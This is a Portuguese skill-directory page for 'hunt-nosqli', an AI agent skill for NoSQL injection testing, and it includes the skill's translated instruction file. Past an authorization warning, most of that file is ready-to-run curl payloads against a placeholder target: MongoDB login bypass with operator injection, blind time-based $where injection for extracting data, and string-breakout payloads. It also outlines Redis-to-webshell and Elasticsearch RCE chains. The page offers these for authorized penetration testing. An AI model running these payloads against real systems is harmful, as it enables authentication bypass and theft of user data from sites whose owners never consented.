hunt-nosqli
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
O que ela faz
Essa ferramenta ajuda a encontrar falhas de segurança em bancos de dados NoSQL, como o MongoDB. Ela tenta burlar sistemas de login ou extrair informações sensíveis.
Quando usar
- ✓Ao testar a segurança de um site ou aplicativo.
- ✓Para verificar se um banco de dados NoSQL está vulnerável.
- ✓Em testes de penetração autorizados.
Exemplo do que pedir para a IA
“Procure por vulnerabilidades de injeção NoSQL no site example.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia comandos especialmente criados para o banco de dados. Se o banco de dados responder de forma inesperada, pode haver uma falha de segurança.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-nosqliOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-nosqli/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
HUNT-NOSQLI — Injeção NoSQL
Alvos de Joia da Coroa
A injeção NoSQL é mais valiosa quando contorna a autenticação (Crítico) ou vaza toda a coleção de usuários (Alto).
Cadeias de maior valor:
- Contorno de autenticação MongoDB —
{"username": {"$gt": ""}, "password": {"$gt": ""}}faz login como o primeiro usuário na coleção (geralmente administrador) - Injeção de JS $where — se $where estiver habilitado: injeção cega → exfiltração de dados
- Injeção de comando Redis — via SSRF ou TCP direto, SLAVEOF ip do atacante → escrita de configuração → webshell
- Injeção Elasticsearch — endpoint _search com injeção de script Groovy (pré-5.0) → RCE
Sinais de Superfície de Ataque
Padrões de URL e Parâmetros
/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
Sinais de Stack
| Sinal | Vetor |
|---|---|
| Mensagens de erro do MongoDB na resposta | Injeção de operador |
| mongoose / monk em pacotes JS | Padrões ODM |
| X-Powered-By: Express | Pilha comum Node.js + MongoDB |
| UI CouchDB/_utils exposta | Admin Futon/Fauxton |
| Porta Redis 6379 aberta (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 aberto | Injeção de script |
Metodologia de Caça Passo a Passo
Fase 1 — Contorno de Autenticação (MongoDB)
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
Fase 2 — Injeção de Parâmetro de URL
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="
Fase 3 — Injeção Cega $where (baseada em tempo)
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
Fase 3b — Injeção de sintaxe em um $where/query concatenado (contexto de string)
Quando o aplicativo concatena a entrada em uma STRING $where JS ("this.name=='"+input+"'") em vez de aceitar um objeto de operador, quebre a string em vez de passar $gt/$ne. Faça fuzz primeiro, depois quebre:
fuzz: ' " ` { ; $ # any 500/behaviour change = syntax reaches the query
' || '1'=='1 # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y # boolean char-exfil oracle
(PortSwigger: Injetando sintaxe em consultas NoSQL.)
Fase 4 — Dump de Dados via Regex
# Enumerar nomes de usuário caractere por caractere
…
Perguntas frequentes
O que é injeção NoSQL?
É um tipo de ataque onde um invasor insere comandos maliciosos em um banco de dados NoSQL para obter acesso não autorizado ou roubar dados.
Por que é importante testar isso?
Para garantir que informações confidenciais de usuários e do sistema estejam protegidas contra ataques.
Preciso de permissão para usar essa ferramenta?
Sim, é crucial ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta, pois o uso não autorizado é ilegal.
Detalhes
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3276
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
clickhouse-io
Ajuda seu agente a otimizar consultas e esquemas no banco de dados ClickHouse. Ele aplica as melhores práticas para cargas de trabalho analíticas de alta performance. Use quando consultas analíticas demoram muito.
affaan-m/ECC
scientific-db-pubmed-database
Ajuda seu agente a buscar artigos científicos na área biomédica. É útil para pesquisas que precisam de informações médicas específicas.
affaan-m/ECC
scientific-db-uspto-database
Permite ao agente consultar dados oficiais de patentes e marcas registradas dos EUA. É útil para pesquisas de propriedade intelectual.
affaan-m/ECC